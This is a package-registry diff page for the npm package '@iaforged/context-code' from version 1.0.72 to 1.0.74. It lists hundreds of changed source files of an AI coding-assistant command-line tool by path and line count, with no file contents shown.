@iaforged/context-code 1.0.72 → 1.0.74

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2050) hide show
  1. package/context-bootstrap.js +7 -8
  2. package/dist/src/QueryEngine.js +928 -0
  3. package/dist/src/Task.js +49 -0
  4. package/dist/src/Tool.js +56 -0
  5. package/dist/src/assistant/AssistantSessionChooser.js +16 -0
  6. package/dist/src/assistant/index.js +16 -0
  7. package/dist/src/assistant/sessionDiscovery.js +16 -0
  8. package/dist/src/assistant/sessionHistory.js +47 -0
  9. package/dist/src/bootstrap/state.js +1165 -0
  10. package/dist/src/bridge/bridgeApi.js +304 -0
  11. package/dist/src/bridge/bridgeConfig.js +39 -0
  12. package/dist/src/bridge/bridgeDebug.js +73 -0
  13. package/dist/src/bridge/bridgeEnabled.js +187 -0
  14. package/dist/src/bridge/bridgeMain.js +2289 -0
  15. package/dist/src/bridge/bridgeMessaging.js +353 -0
  16. package/dist/src/bridge/bridgePermissionCallbacks.js +10 -0
  17. package/dist/src/bridge/bridgePointer.js +175 -0
  18. package/dist/src/bridge/bridgeStatusUtil.js +105 -0
  19. package/dist/src/bridge/bridgeUI.js +412 -0
  20. package/dist/src/bridge/capacityWake.js +35 -0
  21. package/dist/src/bridge/codeSessionApi.js +111 -0
  22. package/dist/src/bridge/createSession.js +273 -0
  23. package/dist/src/bridge/debugUtils.js +115 -0
  24. package/dist/src/bridge/envLessBridgeConfig.js +121 -0
  25. package/dist/src/bridge/flushGate.js +65 -0
  26. package/dist/src/bridge/inboundAttachments.js +152 -0
  27. package/dist/src/bridge/inboundMessages.js +63 -0
  28. package/dist/src/bridge/initReplBridge.js +428 -0
  29. package/dist/src/bridge/jwtUtils.js +185 -0
  30. package/dist/src/bridge/pollConfig.js +85 -0
  31. package/dist/src/bridge/pollConfigDefaults.js +62 -0
  32. package/dist/src/bridge/remoteBridgeCore.js +712 -0
  33. package/dist/src/bridge/replBridge.js +1720 -0
  34. package/dist/src/bridge/replBridgeHandle.js +30 -0
  35. package/dist/src/bridge/replBridgeTransport.js +236 -0
  36. package/dist/src/bridge/sessionIdCompat.js +56 -0
  37. package/dist/src/bridge/sessionRunner.js +421 -0
  38. package/dist/src/bridge/trustedDevice.js +172 -0
  39. package/dist/src/bridge/types.js +9 -0
  40. package/dist/src/bridge/workSecret.js +99 -0
  41. package/dist/src/buddy/CompanionSprite.js +349 -0
  42. package/dist/src/buddy/companion.js +107 -0
  43. package/dist/src/buddy/prompt.js +33 -0
  44. package/dist/src/buddy/sprites.js +488 -0
  45. package/dist/src/buddy/types.js +90 -0
  46. package/dist/src/buddy/useBuddyNotification.js +90 -0
  47. package/dist/src/cli/bg.js +16 -0
  48. package/dist/src/cli/exit.js +30 -0
  49. package/dist/src/cli/handlers/agents.js +55 -0
  50. package/dist/src/cli/handlers/ant.js +16 -0
  51. package/dist/src/cli/handlers/auth.js +315 -0
  52. package/dist/src/cli/handlers/autoMode.js +128 -0
  53. package/dist/src/cli/handlers/mcp.js +334 -0
  54. package/dist/src/cli/handlers/plugins.js +634 -0
  55. package/dist/src/cli/handlers/projects_bridge.js +40 -0
  56. package/dist/src/cli/handlers/provider.js +42 -0
  57. package/dist/src/cli/handlers/templateJobs.js +16 -0
  58. package/dist/src/cli/handlers/util.js +76 -0
  59. package/dist/src/cli/ndjsonSafeStringify.js +27 -0
  60. package/dist/src/cli/print.js +4225 -0
  61. package/dist/src/cli/remoteIO.js +208 -0
  62. package/dist/src/cli/rollback.js +16 -0
  63. package/dist/src/cli/structuredIO.js +644 -0
  64. package/dist/src/cli/transports/HybridTransport.js +233 -0
  65. package/dist/src/cli/transports/SSETransport.js +538 -0
  66. package/dist/src/cli/transports/SerialBatchEventUploader.js +224 -0
  67. package/dist/src/cli/transports/Transport.js +1 -0
  68. package/dist/src/cli/transports/WebSocketTransport.js +613 -0
  69. package/dist/src/cli/transports/WorkerStateUploader.js +88 -0
  70. package/dist/src/cli/transports/ccrClient.js +711 -0
  71. package/dist/src/cli/transports/transportUtils.js +39 -0
  72. package/dist/src/cli/up.js +16 -0
  73. package/dist/src/cli/update.js +315 -0
  74. package/dist/src/commands/add-dir/add-dir.js +121 -0
  75. package/dist/src/commands/add-dir/index.js +8 -0
  76. package/dist/src/commands/add-dir/validation.js +76 -0
  77. package/dist/src/commands/advisor.js +88 -0
  78. package/dist/src/commands/agent/agent.js +283 -0
  79. package/dist/src/commands/agent/agentStore.js +120 -0
  80. package/dist/src/commands/agent/index.js +9 -0
  81. package/dist/src/commands/agents/agents.js +9 -0
  82. package/dist/src/commands/agents/index.js +7 -0
  83. package/dist/src/commands/ant-trace/index.js +1 -0
  84. package/dist/src/commands/assistant/assistant.js +16 -0
  85. package/dist/src/commands/autofix-pr/index.js +1 -0
  86. package/dist/src/commands/backfill-sessions/index.js +1 -0
  87. package/dist/src/commands/branch/branch.js +205 -0
  88. package/dist/src/commands/branch/index.js +11 -0
  89. package/dist/src/commands/break-cache/index.js +1 -0
  90. package/dist/src/commands/bridge/bridge.js +512 -0
  91. package/dist/src/commands/bridge/index.js +22 -0
  92. package/dist/src/commands/bridge-kick.js +179 -0
  93. package/dist/src/commands/brief.js +94 -0
  94. package/dist/src/commands/btw/btw.js +234 -0
  95. package/dist/src/commands/btw/index.js +9 -0
  96. package/dist/src/commands/bughunter/index.js +1 -0
  97. package/dist/src/commands/chrome/chrome.js +291 -0
  98. package/dist/src/commands/chrome/index.js +11 -0
  99. package/dist/src/commands/clear/caches.js +116 -0
  100. package/dist/src/commands/clear/clear.js +5 -0
  101. package/dist/src/commands/clear/conversation.js +191 -0
  102. package/dist/src/commands/clear/index.js +9 -0
  103. package/dist/src/commands/color/color.js +58 -0
  104. package/dist/src/commands/color/index.js +9 -0
  105. package/dist/src/commands/commit-push-pr.js +137 -0
  106. package/dist/src/commands/commit.js +80 -0
  107. package/dist/src/commands/compact/compact.js +196 -0
  108. package/dist/src/commands/compact/index.js +11 -0
  109. package/dist/src/commands/config/config.js +5 -0
  110. package/dist/src/commands/config/index.js +8 -0
  111. package/dist/src/commands/context/context-noninteractive.js +221 -0
  112. package/dist/src/commands/context/context.js +46 -0
  113. package/dist/src/commands/context/index.js +21 -0
  114. package/dist/src/commands/copy/copy.js +366 -0
  115. package/dist/src/commands/copy/index.js +7 -0
  116. package/dist/src/commands/cost/cost.js +21 -0
  117. package/dist/src/commands/cost/index.js +16 -0
  118. package/dist/src/commands/createMovedToPluginCommand.js +33 -0
  119. package/dist/src/commands/ctx_viz/index.js +1 -0
  120. package/dist/src/commands/debug-tool-call/index.js +1 -0
  121. package/dist/src/commands/desktop/desktop.js +5 -0
  122. package/dist/src/commands/desktop/index.js +22 -0
  123. package/dist/src/commands/diff/diff.js +5 -0
  124. package/dist/src/commands/diff/index.js +6 -0
  125. package/dist/src/commands/doctor/doctor.js +5 -0
  126. package/dist/src/commands/doctor/index.js +9 -0
  127. package/dist/src/commands/effort/effort.js +166 -0
  128. package/dist/src/commands/effort/index.js +11 -0
  129. package/dist/src/commands/env/index.js +1 -0
  130. package/dist/src/commands/exit/exit.js +31 -0
  131. package/dist/src/commands/exit/index.js +9 -0
  132. package/dist/src/commands/export/export.js +86 -0
  133. package/dist/src/commands/export/index.js +8 -0
  134. package/dist/src/commands/extra-usage/extra-usage-core.js +99 -0
  135. package/dist/src/commands/extra-usage/extra-usage-noninteractive.js +13 -0
  136. package/dist/src/commands/extra-usage/extra-usage.js +14 -0
  137. package/dist/src/commands/extra-usage/index.js +27 -0
  138. package/dist/src/commands/fast/fast.js +275 -0
  139. package/dist/src/commands/fast/index.js +20 -0
  140. package/dist/src/commands/feedback/feedback.js +10 -0
  141. package/dist/src/commands/feedback/index.js +21 -0
  142. package/dist/src/commands/files/files.js +11 -0
  143. package/dist/src/commands/files/index.js +9 -0
  144. package/dist/src/commands/good-claude/index.js +1 -0
  145. package/dist/src/commands/heapdump/heapdump.js +14 -0
  146. package/dist/src/commands/heapdump/index.js +9 -0
  147. package/dist/src/commands/help/help.js +5 -0
  148. package/dist/src/commands/help/index.js +7 -0
  149. package/dist/src/commands/hooks/hooks.js +11 -0
  150. package/dist/src/commands/hooks/index.js +8 -0
  151. package/dist/src/commands/ide/ide.js +615 -0
  152. package/dist/src/commands/ide/index.js +8 -0
  153. package/dist/src/commands/init-verifiers.js +258 -0
  154. package/dist/src/commands/init.js +249 -0
  155. package/dist/src/commands/insights.js +2555 -0
  156. package/dist/src/commands/install-github-app/ApiKeyStep.js +230 -0
  157. package/dist/src/commands/install-github-app/CheckExistingSecretStep.js +194 -0
  158. package/dist/src/commands/install-github-app/CheckGitHubStep.js +15 -0
  159. package/dist/src/commands/install-github-app/ChooseRepoStep.js +211 -0
  160. package/dist/src/commands/install-github-app/CreatingStep.js +52 -0
  161. package/dist/src/commands/install-github-app/ErrorStep.js +83 -0
  162. package/dist/src/commands/install-github-app/ExistingWorkflowStep.js +104 -0
  163. package/dist/src/commands/install-github-app/InstallAppStep.js +96 -0
  164. package/dist/src/commands/install-github-app/OAuthFlowStep.js +190 -0
  165. package/dist/src/commands/install-github-app/SuccessStep.js +93 -0
  166. package/dist/src/commands/install-github-app/WarningsStep.js +70 -0
  167. package/dist/src/commands/install-github-app/index.js +10 -0
  168. package/dist/src/commands/install-github-app/install-github-app.js +593 -0
  169. package/dist/src/commands/install-github-app/setupGitHubActions.js +227 -0
  170. package/dist/src/commands/install-slack-app/index.js +9 -0
  171. package/dist/src/commands/install-slack-app/install-slack-app.js +25 -0
  172. package/dist/src/commands/install.js +118 -0
  173. package/dist/src/commands/issue/index.js +1 -0
  174. package/dist/src/commands/keybindings/index.js +10 -0
  175. package/dist/src/commands/keybindings/keybindings.js +47 -0
  176. package/dist/src/commands/limites/index.js +8 -0
  177. package/dist/src/commands/limites/limites.js +214 -0
  178. package/dist/src/commands/login/index.js +11 -0
  179. package/dist/src/commands/login/login.js +120 -0
  180. package/dist/src/commands/login-openai/index.js +7 -0
  181. package/dist/src/commands/login-openai/login-openai.js +54 -0
  182. package/dist/src/commands/logout/index.js +8 -0
  183. package/dist/src/commands/logout/logout.js +72 -0
  184. package/dist/src/commands/mcp/addCommand.js +183 -0
  185. package/dist/src/commands/mcp/index.js +9 -0
  186. package/dist/src/commands/mcp/mcp.js +78 -0
  187. package/dist/src/commands/mcp/xaaIdpCommand.js +193 -0
  188. package/dist/src/commands/memory/index.js +7 -0
  189. package/dist/src/commands/memory/memory.js +71 -0
  190. package/dist/src/commands/mobile/index.js +9 -0
  191. package/dist/src/commands/mobile/mobile.js +278 -0
  192. package/dist/src/commands/mock-limits/index.js +1 -0
  193. package/dist/src/commands/model/index.js +14 -0
  194. package/dist/src/commands/model/model.js +297 -0
  195. package/dist/src/commands/oauth-refresh/index.js +1 -0
  196. package/dist/src/commands/onboarding/index.js +1 -0
  197. package/dist/src/commands/orchestrate/index.js +8 -0
  198. package/dist/src/commands/orchestrate/orchestrate.js +542 -0
  199. package/dist/src/commands/output-style/index.js +8 -0
  200. package/dist/src/commands/output-style/output-style.js +6 -0
  201. package/dist/src/commands/passes/index.js +17 -0
  202. package/dist/src/commands/passes/passes.js +22 -0
  203. package/dist/src/commands/perf-issue/index.js +1 -0
  204. package/dist/src/commands/permissions/index.js +8 -0
  205. package/dist/src/commands/permissions/permissions.js +8 -0
  206. package/dist/src/commands/plan/index.js +8 -0
  207. package/dist/src/commands/plan/plan.js +115 -0
  208. package/dist/src/commands/plugin/AddMarketplace.js +95 -0
  209. package/dist/src/commands/plugin/BrowseMarketplace.js +576 -0
  210. package/dist/src/commands/plugin/DiscoverPlugins.js +613 -0
  211. package/dist/src/commands/plugin/ManageMarketplaces.js +582 -0
  212. package/dist/src/commands/plugin/ManagePlugins.js +1783 -0
  213. package/dist/src/commands/plugin/PluginErrors.js +124 -0
  214. package/dist/src/commands/plugin/PluginOptionsDialog.js +367 -0
  215. package/dist/src/commands/plugin/PluginOptionsFlow.js +97 -0
  216. package/dist/src/commands/plugin/PluginSettings.js +1042 -0
  217. package/dist/src/commands/plugin/PluginTrustWarning.js +34 -0
  218. package/dist/src/commands/plugin/UnifiedInstalledCell.js +615 -0
  219. package/dist/src/commands/plugin/ValidatePlugin.js +95 -0
  220. package/dist/src/commands/plugin/index.js +10 -0
  221. package/dist/src/commands/plugin/parseArgs.js +71 -0
  222. package/dist/src/commands/plugin/plugin.js +5 -0
  223. package/dist/src/commands/plugin/pluginDetailsHelpers.js +89 -0
  224. package/dist/src/commands/plugin/usePagination.js +89 -0
  225. package/dist/src/commands/policy/index.js +9 -0
  226. package/dist/src/commands/policy/policy.js +84 -0
  227. package/dist/src/commands/pr_comments/index.js +49 -0
  228. package/dist/src/commands/privacy-settings/index.js +11 -0
  229. package/dist/src/commands/privacy-settings/privacy-settings.js +54 -0
  230. package/dist/src/commands/profile/index.js +9 -0
  231. package/dist/src/commands/profile/profile.js +482 -0
  232. package/dist/src/commands/provider/index.js +8 -0
  233. package/dist/src/commands/provider/provider.js +457 -0
  234. package/dist/src/commands/rate-limit-options/index.js +15 -0
  235. package/dist/src/commands/rate-limit-options/rate-limit-options.js +213 -0
  236. package/dist/src/commands/release-notes/index.js +9 -0
  237. package/dist/src/commands/release-notes/release-notes.js +38 -0
  238. package/dist/src/commands/reload-plugins/index.js +11 -0
  239. package/dist/src/commands/reload-plugins/reload-plugins.js +52 -0
  240. package/dist/src/commands/remote-env/index.js +12 -0
  241. package/dist/src/commands/remote-env/remote-env.js +5 -0
  242. package/dist/src/commands/remote-setup/api.js +155 -0
  243. package/dist/src/commands/remote-setup/index.js +15 -0
  244. package/dist/src/commands/remote-setup/remote-setup.js +149 -0
  245. package/dist/src/commands/rename/generateSessionName.js +58 -0
  246. package/dist/src/commands/rename/index.js +9 -0
  247. package/dist/src/commands/rename/rename.js +52 -0
  248. package/dist/src/commands/reset-limits/index.js +4 -0
  249. package/dist/src/commands/resume/index.js +9 -0
  250. package/dist/src/commands/resume/resume.js +239 -0
  251. package/dist/src/commands/review/UltrareviewOverageDialog.js +97 -0
  252. package/dist/src/commands/review/reviewRemote.js +259 -0
  253. package/dist/src/commands/review/ultrareviewCommand.js +57 -0
  254. package/dist/src/commands/review/ultrareviewEnabled.js +10 -0
  255. package/dist/src/commands/review.js +50 -0
  256. package/dist/src/commands/rewind/index.js +10 -0
  257. package/dist/src/commands/rewind/rewind.js +7 -0
  258. package/dist/src/commands/run/index.js +9 -0
  259. package/dist/src/commands/run/run.js +1126 -0
  260. package/dist/src/commands/sandbox-toggle/index.js +41 -0
  261. package/dist/src/commands/sandbox-toggle/sandbox-toggle.js +72 -0
  262. package/dist/src/commands/security-review.js +231 -0
  263. package/dist/src/commands/session/index.js +13 -0
  264. package/dist/src/commands/session/session.js +142 -0
  265. package/dist/src/commands/share/index.js +1 -0
  266. package/dist/src/commands/skills/index.js +8 -0
  267. package/dist/src/commands/skills/skills.js +97 -0
  268. package/dist/src/commands/stats/index.js +7 -0
  269. package/dist/src/commands/stats/stats.js +5 -0
  270. package/dist/src/commands/status/index.js +8 -0
  271. package/dist/src/commands/status/status.js +5 -0
  272. package/dist/src/commands/statusline.js +22 -0
  273. package/dist/src/commands/stickers/index.js +9 -0
  274. package/dist/src/commands/stickers/stickers.js +14 -0
  275. package/dist/src/commands/summary/index.js +1 -0
  276. package/dist/src/commands/tag/index.js +9 -0
  277. package/dist/src/commands/tag/tag.js +215 -0
  278. package/dist/src/commands/tasks/index.js +8 -0
  279. package/dist/src/commands/tasks/tasks.js +5 -0
  280. package/dist/src/commands/team/index.js +9 -0
  281. package/dist/src/commands/team/team.js +582 -0
  282. package/dist/src/commands/team-auto/index.js +9 -0
  283. package/dist/src/commands/team-auto/teamAuto.js +340 -0
  284. package/dist/src/commands/telegram/index.js +9 -0
  285. package/dist/src/commands/telegram/telegram.js +118 -0
  286. package/dist/src/commands/teleport/index.js +1 -0
  287. package/dist/src/commands/terminalSetup/index.js +18 -0
  288. package/dist/src/commands/terminalSetup/terminalSetup.js +491 -0
  289. package/dist/src/commands/theme/index.js +7 -0
  290. package/dist/src/commands/theme/theme.js +50 -0
  291. package/dist/src/commands/thinkback/index.js +9 -0
  292. package/dist/src/commands/thinkback/thinkback.js +527 -0
  293. package/dist/src/commands/thinkback-play/index.js +13 -0
  294. package/dist/src/commands/thinkback-play/thinkback-play.js +34 -0
  295. package/dist/src/commands/ultraplan.js +418 -0
  296. package/dist/src/commands/upgrade/index.js +12 -0
  297. package/dist/src/commands/upgrade/upgrade.js +37 -0
  298. package/dist/src/commands/version.js +18 -0
  299. package/dist/src/commands/vim/index.js +8 -0
  300. package/dist/src/commands/vim/vim.js +25 -0
  301. package/dist/src/commands/voice/index.js +14 -0
  302. package/dist/src/commands/voice/voice.js +130 -0
  303. package/dist/src/commands/whatsapp/index.js +9 -0
  304. package/dist/src/commands/whatsapp/whatsapp.js +326 -0
  305. package/dist/src/commands/workspace/index.js +9 -0
  306. package/dist/src/commands/workspace/workspace.js +701 -0
  307. package/dist/src/commands.js +635 -0
  308. package/dist/src/components/AgentProgressLine.js +111 -0
  309. package/dist/src/components/App.js +45 -0
  310. package/dist/src/components/ApproveApiKey.js +124 -0
  311. package/dist/src/components/AutoModeOptInDialog.js +140 -0
  312. package/dist/src/components/AutoUpdater.js +157 -0
  313. package/dist/src/components/AutoUpdaterWrapper.js +78 -0
  314. package/dist/src/components/AwsAuthStatusBox.js +88 -0
  315. package/dist/src/components/BaseTextInput.js +105 -0
  316. package/dist/src/components/BashModeProgress.js +48 -0
  317. package/dist/src/components/BridgeDialog.js +414 -0
  318. package/dist/src/components/BypassPermissionsModeDialog.js +87 -0
  319. package/dist/src/components/ChannelDowngradeDialog.js +100 -0
  320. package/dist/src/components/ClaudeCodeHint/PluginHintMenu.js +37 -0
  321. package/dist/src/components/ClaudeInChromeOnboarding.js +126 -0
  322. package/dist/src/components/ClaudeMdExternalIncludesDialog.js +137 -0
  323. package/dist/src/components/ClickableImageRef.js +64 -0
  324. package/dist/src/components/CompactSummary.js +119 -0
  325. package/dist/src/components/ConfigurableShortcutHint.js +34 -0
  326. package/dist/src/components/ConsoleOAuthFlow.js +758 -0
  327. package/dist/src/components/ContextSuggestions.js +43 -0
  328. package/dist/src/components/ContextVisualization.js +483 -0
  329. package/dist/src/components/CoordinatorAgentStatus.js +261 -0
  330. package/dist/src/components/CostThresholdDialog.js +48 -0
  331. package/dist/src/components/CtrlOToExpand.js +50 -0
  332. package/dist/src/components/CustomSelect/SelectMulti.js +149 -0
  333. package/dist/src/components/CustomSelect/index.js +2 -0
  334. package/dist/src/components/CustomSelect/option-map.js +32 -0
  335. package/dist/src/components/CustomSelect/select-input-option.js +426 -0
  336. package/dist/src/components/CustomSelect/select-option.js +23 -0
  337. package/dist/src/components/CustomSelect/select.js +518 -0
  338. package/dist/src/components/CustomSelect/use-multi-select-state.js +214 -0
  339. package/dist/src/components/CustomSelect/use-select-input.js +170 -0
  340. package/dist/src/components/CustomSelect/use-select-navigation.js +366 -0
  341. package/dist/src/components/CustomSelect/use-select-state.js +22 -0
  342. package/dist/src/components/DesktopHandoff.js +195 -0
  343. package/dist/src/components/DesktopUpsell/DesktopUpsellStartup.js +173 -0
  344. package/dist/src/components/DevBar.js +50 -0
  345. package/dist/src/components/DevChannelsDialog.js +103 -0
  346. package/dist/src/components/DiagnosticsDisplay.js +91 -0
  347. package/dist/src/components/EffortCallout.js +264 -0
  348. package/dist/src/components/EffortIndicator.js +29 -0
  349. package/dist/src/components/ExitFlow.js +40 -0
  350. package/dist/src/components/ExportDialog.js +101 -0
  351. package/dist/src/components/FallbackToolUseErrorMessage.js +115 -0
  352. package/dist/src/components/FallbackToolUseRejectedMessage.js +16 -0
  353. package/dist/src/components/FastIcon.js +42 -0
  354. package/dist/src/components/Feedback.js +439 -0
  355. package/dist/src/components/FeedbackSurvey/FeedbackSurvey.js +150 -0
  356. package/dist/src/components/FeedbackSurvey/FeedbackSurveyView.js +103 -0
  357. package/dist/src/components/FeedbackSurvey/TranscriptSharePrompt.js +83 -0
  358. package/dist/src/components/FeedbackSurvey/submitTranscriptShare.js +81 -0
  359. package/dist/src/components/FeedbackSurvey/useDebouncedDigitInput.js +51 -0
  360. package/dist/src/components/FeedbackSurvey/useFeedbackSurvey.js +258 -0
  361. package/dist/src/components/FeedbackSurvey/useMemorySurvey.js +191 -0
  362. package/dist/src/components/FeedbackSurvey/usePostCompactSurvey.js +202 -0
  363. package/dist/src/components/FeedbackSurvey/useSurveyState.js +80 -0
  364. package/dist/src/components/FileEditToolDiff.js +166 -0
  365. package/dist/src/components/FileEditToolUpdatedMessage.js +111 -0
  366. package/dist/src/components/FileEditToolUseRejectedMessage.js +157 -0
  367. package/dist/src/components/FilePathLink.js +34 -0
  368. package/dist/src/components/FullscreenLayout.js +578 -0
  369. package/dist/src/components/GlobalSearchDialog.js +339 -0
  370. package/dist/src/components/HelpV2/Commands.js +65 -0
  371. package/dist/src/components/HelpV2/General.js +24 -0
  372. package/dist/src/components/HelpV2/HelpV2.js +186 -0
  373. package/dist/src/components/HighlightedCode/Fallback.js +193 -0
  374. package/dist/src/components/HighlightedCode.js +184 -0
  375. package/dist/src/components/HistorySearchDialog.js +92 -0
  376. package/dist/src/components/IdeAutoConnectDialog.js +153 -0
  377. package/dist/src/components/IdeOnboardingDialog.js +174 -0
  378. package/dist/src/components/IdeStatusIndicator.js +49 -0
  379. package/dist/src/components/IdleReturnDialog.js +116 -0
  380. package/dist/src/components/InterruptedByUser.js +15 -0
  381. package/dist/src/components/InvalidConfigDialog.js +134 -0
  382. package/dist/src/components/InvalidSettingsDialog.js +84 -0
  383. package/dist/src/components/KeybindingWarnings.js +54 -0
  384. package/dist/src/components/LanguagePicker.js +84 -0
  385. package/dist/src/components/LogSelector.js +1579 -0
  386. package/dist/src/components/LogoV2/AnimatedAsterisk.js +42 -0
  387. package/dist/src/components/LogoV2/AnimatedClawd.js +111 -0
  388. package/dist/src/components/LogoV2/ChannelsNotice.js +258 -0
  389. package/dist/src/components/LogoV2/Clawd.js +12 -0
  390. package/dist/src/components/LogoV2/CondensedLogo.js +144 -0
  391. package/dist/src/components/LogoV2/EmergencyTip.js +47 -0
  392. package/dist/src/components/LogoV2/Feed.js +84 -0
  393. package/dist/src/components/LogoV2/FeedColumn.js +55 -0
  394. package/dist/src/components/LogoV2/GuestPassesUpsell.js +71 -0
  395. package/dist/src/components/LogoV2/LogoV2.js +564 -0
  396. package/dist/src/components/LogoV2/Opus1mMergeNotice.js +56 -0
  397. package/dist/src/components/LogoV2/OverageCreditUpsell.js +160 -0
  398. package/dist/src/components/LogoV2/VoiceModeNotice.js +70 -0
  399. package/dist/src/components/LogoV2/WelcomeV2.js +8 -0
  400. package/dist/src/components/LogoV2/feedConfigs.js +78 -0
  401. package/dist/src/components/LspRecommendation/LspRecommendationMenu.js +46 -0
  402. package/dist/src/components/MCPServerApprovalDialog.js +113 -0
  403. package/dist/src/components/MCPServerDesktopImportDialog.js +206 -0
  404. package/dist/src/components/MCPServerDialogCopy.js +15 -0
  405. package/dist/src/components/MCPServerMultiselectDialog.js +133 -0
  406. package/dist/src/components/ManagedSettingsSecurityDialog/ManagedSettingsSecurityDialog.js +149 -0
  407. package/dist/src/components/ManagedSettingsSecurityDialog/utils.js +105 -0
  408. package/dist/src/components/Markdown.js +217 -0
  409. package/dist/src/components/MarkdownTable.js +279 -0
  410. package/dist/src/components/MemoryUsageIndicator.js +27 -0
  411. package/dist/src/components/Message.js +566 -0
  412. package/dist/src/components/MessageModel.js +36 -0
  413. package/dist/src/components/MessageResponse.js +73 -0
  414. package/dist/src/components/MessageRow.js +346 -0
  415. package/dist/src/components/MessageSelector.js +743 -0
  416. package/dist/src/components/MessageTimestamp.js +57 -0
  417. package/dist/src/components/Messages.js +637 -0
  418. package/dist/src/components/ModelPicker.js +493 -0
  419. package/dist/src/components/NativeAutoUpdater.js +153 -0
  420. package/dist/src/components/NotebookEditToolUseRejectedMessage.js +83 -0
  421. package/dist/src/components/OffscreenFreeze.js +35 -0
  422. package/dist/src/components/Onboarding.js +174 -0
  423. package/dist/src/components/OutputStylePicker.js +102 -0
  424. package/dist/src/components/PackageManagerAutoUpdater.js +100 -0
  425. package/dist/src/components/Passes/Passes.js +113 -0
  426. package/dist/src/components/PrBadge.js +90 -0
  427. package/dist/src/components/PressEnterToContinue.js +15 -0
  428. package/dist/src/components/PromptInput/HistorySearchInput.js +44 -0
  429. package/dist/src/components/PromptInput/IssueFlagBanner.js +8 -0
  430. package/dist/src/components/PromptInput/Notifications.js +221 -0
  431. package/dist/src/components/PromptInput/PromptInput.js +1998 -0
  432. package/dist/src/components/PromptInput/PromptInputFooter.js +84 -0
  433. package/dist/src/components/PromptInput/PromptInputFooterLeftSide.js +409 -0
  434. package/dist/src/components/PromptInput/PromptInputFooterSuggestions.js +280 -0
  435. package/dist/src/components/PromptInput/PromptInputHelpMenu.js +379 -0
  436. package/dist/src/components/PromptInput/PromptInputModeIndicator.js +72 -0
  437. package/dist/src/components/PromptInput/PromptInputQueuedCommands.js +105 -0
  438. package/dist/src/components/PromptInput/PromptInputStashNotice.js +20 -0
  439. package/dist/src/components/PromptInput/SandboxPromptFooterHint.js +65 -0
  440. package/dist/src/components/PromptInput/ShimmeredInput.js +132 -0
  441. package/dist/src/components/PromptInput/VoiceIndicator.js +136 -0
  442. package/dist/src/components/PromptInput/inputModes.js +24 -0
  443. package/dist/src/components/PromptInput/inputPaste.js +62 -0
  444. package/dist/src/components/PromptInput/useMaybeTruncateInput.js +33 -0
  445. package/dist/src/components/PromptInput/usePromptInputPlaceholder.js +55 -0
  446. package/dist/src/components/PromptInput/useShowFastIconHint.js +23 -0
  447. package/dist/src/components/PromptInput/useSwarmBanner.js +112 -0
  448. package/dist/src/components/PromptInput/utils.js +50 -0
  449. package/dist/src/components/QuickOpenDialog.js +243 -0
  450. package/dist/src/components/RemoteCallout.js +53 -0
  451. package/dist/src/components/RemoteEnvironmentDialog.js +345 -0
  452. package/dist/src/components/ResumeTask.js +173 -0
  453. package/dist/src/components/SandboxViolationExpandedView.js +102 -0
  454. package/dist/src/components/ScrollKeybindingHandler.js +982 -0
  455. package/dist/src/components/SearchBox.js +55 -0
  456. package/dist/src/components/SentryErrorBoundary.js +16 -0
  457. package/dist/src/components/SessionBackgroundHint.js +104 -0
  458. package/dist/src/components/SessionPreview.js +200 -0
  459. package/dist/src/components/Settings/Config.js +1628 -0
  460. package/dist/src/components/Settings/Settings.js +129 -0
  461. package/dist/src/components/Settings/Status.js +239 -0
  462. package/dist/src/components/Settings/Usage.js +341 -0
  463. package/dist/src/components/ShowInIDEPrompt.js +151 -0
  464. package/dist/src/components/SkillImprovementSurvey.js +130 -0
  465. package/dist/src/components/Spinner/FlashingChar.js +51 -0
  466. package/dist/src/components/Spinner/GlimmerMessage.js +328 -0
  467. package/dist/src/components/Spinner/ShimmerChar.js +22 -0
  468. package/dist/src/components/Spinner/SpinnerAnimationRow.js +169 -0
  469. package/dist/src/components/Spinner/SpinnerGlyph.js +69 -0
  470. package/dist/src/components/Spinner/TeammateSpinnerLine.js +170 -0
  471. package/dist/src/components/Spinner/TeammateSpinnerTree.js +268 -0
  472. package/dist/src/components/Spinner/index.js +11 -0
  473. package/dist/src/components/Spinner/teammateSelectHint.js +1 -0
  474. package/dist/src/components/Spinner/useShimmerAnimation.js +22 -0
  475. package/dist/src/components/Spinner/useStalledAnimation.js +63 -0
  476. package/dist/src/components/Spinner/utils.js +77 -0
  477. package/dist/src/components/Spinner.js +470 -0
  478. package/dist/src/components/Stats.js +1000 -0
  479. package/dist/src/components/StatusLine.js +288 -0
  480. package/dist/src/components/StatusNotices.js +50 -0
  481. package/dist/src/components/StructuredDiff/Fallback.js +335 -0
  482. package/dist/src/components/StructuredDiff/colorDiff.js +26 -0
  483. package/dist/src/components/StructuredDiff.js +152 -0
  484. package/dist/src/components/StructuredDiffList.js +8 -0
  485. package/dist/src/components/TagTabs.js +100 -0
  486. package/dist/src/components/TaskListV2.js +333 -0
  487. package/dist/src/components/TeammateViewHeader.js +87 -0
  488. package/dist/src/components/TeleportError.js +191 -0
  489. package/dist/src/components/TeleportProgress.js +130 -0
  490. package/dist/src/components/TeleportRepoMismatchDialog.js +98 -0
  491. package/dist/src/components/TeleportResumeWrapper.js +158 -0
  492. package/dist/src/components/TeleportStash.js +82 -0
  493. package/dist/src/components/TextInput.js +108 -0
  494. package/dist/src/components/ThemePicker.js +330 -0
  495. package/dist/src/components/ThinkingToggle.js +153 -0
  496. package/dist/src/components/TokenWarning.js +172 -0
  497. package/dist/src/components/ToolUseLoader.js +34 -0
  498. package/dist/src/components/TrustDialog/TrustDialog.js +113 -0
  499. package/dist/src/components/TrustDialog/utils.js +199 -0
  500. package/dist/src/components/ValidationErrorsList.js +146 -0
  501. package/dist/src/components/VimTextInput.js +136 -0
  502. package/dist/src/components/VirtualMessageList.js +892 -0
  503. package/dist/src/components/WorkflowMultiselectDialog.js +118 -0
  504. package/dist/src/components/WorktreeExitDialog.js +222 -0
  505. package/dist/src/components/agents/AgentDetail.js +226 -0
  506. package/dist/src/components/agents/AgentEditor.js +146 -0
  507. package/dist/src/components/agents/AgentNavigationFooter.js +21 -0
  508. package/dist/src/components/agents/AgentsList.js +436 -0
  509. package/dist/src/components/agents/AgentsMenu.js +848 -0
  510. package/dist/src/components/agents/ColorPicker.js +110 -0
  511. package/dist/src/components/agents/ModelSelector.js +62 -0
  512. package/dist/src/components/agents/SnapshotUpdateDialog.js +16 -0
  513. package/dist/src/components/agents/ToolSelector.js +557 -0
  514. package/dist/src/components/agents/agentFileUtils.js +187 -0
